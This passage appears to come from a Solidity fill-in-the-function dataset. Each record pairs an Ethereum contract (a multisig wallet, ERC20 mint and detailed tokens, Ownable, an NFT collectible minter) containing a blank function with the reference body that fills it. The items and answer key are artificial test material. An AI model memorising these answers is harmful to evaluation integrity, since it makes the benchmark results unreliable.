function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
if (msg.value == 0) { tothe_moon(); } else { revert(); }
function () public payable
/*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable
49281
NamiMultiSigWallet
getConfirmations
contract NamiMultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(!(ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0)); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function NamiMultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!(isOwner[_owners[i]] || _owners[i] == 0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { // Transaction tx = transactions[transactionId]; transactions[transactionId].executed = true; // tx.executed = true; if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId); transactions[transactionId].executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; } } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) {<FILL_FUNCTION_BODY> } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } } }
contract NamiMultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(!(ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0)); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function NamiMultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!(isOwner[_owners[i]] || _owners[i] == 0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { // Transaction tx = transactions[transactionId]; transactions[transactionId].executed = true; // tx.executed = true; if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId); transactions[transactionId].executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; } } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } <FILL_FUNCTION> /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } } }
address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } } _confirmations = new address[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; }
function getConfirmations(uint transactionId) public constant returns (address[] _confirmations)
/// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations)
67865
ERC20Mintable
mint
contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) {<FILL_FUNCTION_BODY> } }
contract ERC20Mintable is ERC20, MinterRole { <FILL_FUNCTION> }
_mint(to, value); return true;
function mint(address to, uint256 value) public onlyMinter returns (bool)
/** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool)
45676
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor (address initOwner) { owner = initOwner; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor (address initOwner) { owner = initOwner; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
function transferOwnership(address newOwner) public virtual onlyOwner
44458
CollectibleMinting
createSeedCollectible
contract CollectibleMinting is CollectibleBase, OperationalControl { uint256 public rewardsRedeemed = 0; /// @dev Counts the number of promo collectibles that can be made per-team uint256[31] public promoCreatedCount; /// @dev Counts the number of seed collectibles that can be made in total uint256 public seedCreatedCount; /// @dev Bool to toggle batch support bool public isBatchSupported = true; /// @dev A mapping of contracts that can trigger functions mapping (address => bool) public contractsApprovedList; /** * @dev Helps to toggle batch supported flag * @param _flag The flag */ function updateBatchSupport(bool _flag) public onlyManager { isBatchSupported = _flag; } modifier canCreate() { require (contractsApprovedList[msg.sender] || msg.sender == managerPrimary || msg.sender == managerSecondary); _; } /** * @dev Add an address to the Approved List * @param _newAddress The new address to be approved for interaction with the contract */ function addToApproveList(address _newAddress) public onlyManager { require (!contractsApprovedList[_newAddress]); contractsApprovedList[_newAddress] = true; } /** * @dev Remove an address from Approved List * @param _newAddress The new address to be approved for interaction with the contract */ function removeFromApproveList(address _newAddress) public onlyManager { require (contractsApprovedList[_newAddress]); delete contractsApprovedList[_newAddress]; } /** * @dev Generates promo collectibles. Only callable by Game Master, with isAttached as 0. * @notice The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createPromoCollectible( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } if(allNFTs.length > 0) { promoCreatedCount[_teamId]++; } uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData); } /** * @dev Generaes a new single seed Collectible, with isAttached as 0. * @notice Helps in creating seed collectible.The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createSeedCollectible( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev Generate new Reward Collectible and transfer it to the owner, with isAttached as 0. * @notice Helps in redeeming the Rewards using our Oracle. Creates & transfers the asset to the redeemer (_owner) * The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner (redeemer) of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createRewardCollectible ( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } rewardsRedeemed++; uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData); } /** * @dev Generate new ETH Card Collectible, with isAttached as 2. * @notice Helps to generate Collectibles/Tokens/Asset and transfer to ETH Cards, * which can be redeemed using our web-app.The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createETHCardCollectible ( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } rewardsRedeemed++; uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 2, _nftData); } }
contract CollectibleMinting is CollectibleBase, OperationalControl { uint256 public rewardsRedeemed = 0; /// @dev Counts the number of promo collectibles that can be made per-team uint256[31] public promoCreatedCount; /// @dev Counts the number of seed collectibles that can be made in total uint256 public seedCreatedCount; /// @dev Bool to toggle batch support bool public isBatchSupported = true; /// @dev A mapping of contracts that can trigger functions mapping (address => bool) public contractsApprovedList; /** * @dev Helps to toggle batch supported flag * @param _flag The flag */ function updateBatchSupport(bool _flag) public onlyManager { isBatchSupported = _flag; } modifier canCreate() { require (contractsApprovedList[msg.sender] || msg.sender == managerPrimary || msg.sender == managerSecondary); _; } /** * @dev Add an address to the Approved List * @param _newAddress The new address to be approved for interaction with the contract */ function addToApproveList(address _newAddress) public onlyManager { require (!contractsApprovedList[_newAddress]); contractsApprovedList[_newAddress] = true; } /** * @dev Remove an address from Approved List * @param _newAddress The new address to be approved for interaction with the contract */ function removeFromApproveList(address _newAddress) public onlyManager { require (contractsApprovedList[_newAddress]); delete contractsApprovedList[_newAddress]; } /** * @dev Generates promo collectibles. Only callable by Game Master, with isAttached as 0. * @notice The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createPromoCollectible( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } if(allNFTs.length > 0) { promoCreatedCount[_teamId]++; } uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData); } <FILL_FUNCTION> /** * @dev Generate new Reward Collectible and transfer it to the owner, with isAttached as 0. * @notice Helps in redeeming the Rewards using our Oracle. Creates & transfers the asset to the redeemer (_owner) * The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner (redeemer) of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createRewardCollectible ( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } rewardsRedeemed++; uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData); } /** * @dev Generate new ETH Card Collectible, with isAttached as 2. * @notice Helps to generate Collectibles/Tokens/Asset and transfer to ETH Cards, * which can be redeemed using our web-app.The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createETHCardCollectible ( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256) { address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } rewardsRedeemed++; uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 2, _nftData); } }
address nftOwner = _owner; if (nftOwner == address(0)) { nftOwner = managerPrimary; } seedCreatedCount++; uint32 _sequenceId = getSequenceId(_teamId); uint256 assetDetails = uint256(uint64(now)); assetDetails |= uint256(_sequenceId)<<64; assetDetails |= uint256(_teamId)<<96; assetDetails |= uint256(_posId)<<104; uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId]; return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);
function createSeedCollectible( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256)
/** * @dev Generaes a new single seed Collectible, with isAttached as 0. * @notice Helps in creating seed collectible.The generation of an asset if limited via the generationSeasonController * @param _teamId teamId of the asset/token/collectible * @param _posId position of the asset/token/collectible * @param _attributes attributes of asset/token/collectible * @param _owner owner of asset/token/collectible * @param _gameId mlb game Identifier * @param _playerOverrideId player override identifier * @param _mlbPlayerId official mlb player identifier */ function createSeedCollectible( uint8 _teamId, uint8 _posId, uint256 _attributes, address _owner, uint256 _gameId, uint256 _playerOverrideId, uint256 _mlbPlayerId) external canCreate whenNotPaused returns (uint256)
71573
WaBi
approve
contract WaBi is MintableToken { string public constant name = "WaBi"; string public constant symbol = "WaBi"; bool public transferEnabled = false; uint8 public constant decimals = 18; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } }
contract WaBi is MintableToken { string public constant name = "WaBi"; string public constant symbol = "WaBi"; bool public transferEnabled = false; uint8 public constant decimals = 18; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } <FILL_FUNCTION> /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } }
return super.approve(_spender, _value);
function approve(address _spender, uint256 _value) whenNotPaused returns (bool)
/** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool)
92514
ERC20Detailed
null
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public {<FILL_FUNCTION_BODY> } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } }
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; <FILL_FUNCTION> function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } }
_name = name; _symbol = symbol; _decimals = decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public
constructor(string memory name, string memory symbol, uint8 decimals) public
91529
CoinBNS
null
contract CoinBNS is BNSToken { function() public { revert(); } string public name; uint8 public decimals; string public symbol; string public version = "H1.0"; constructor() public {<FILL_FUNCTION_BODY> } }
contract CoinBNS is BNSToken { function() public { revert(); } string public name; uint8 public decimals; string public symbol; string public version = "H1.0"; <FILL_FUNCTION> }
owner = msg.sender; balances[msg.sender] = 250000000000000000; totalSupply = 250000000000000000; totalPossibleSupply = 250000000000000000; name = "BNS Token"; decimals = 8; symbol = "BNS";
constructor() public
constructor() public
19797
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) external onlyOwner {<FILL_FUNCTION_BODY> } }
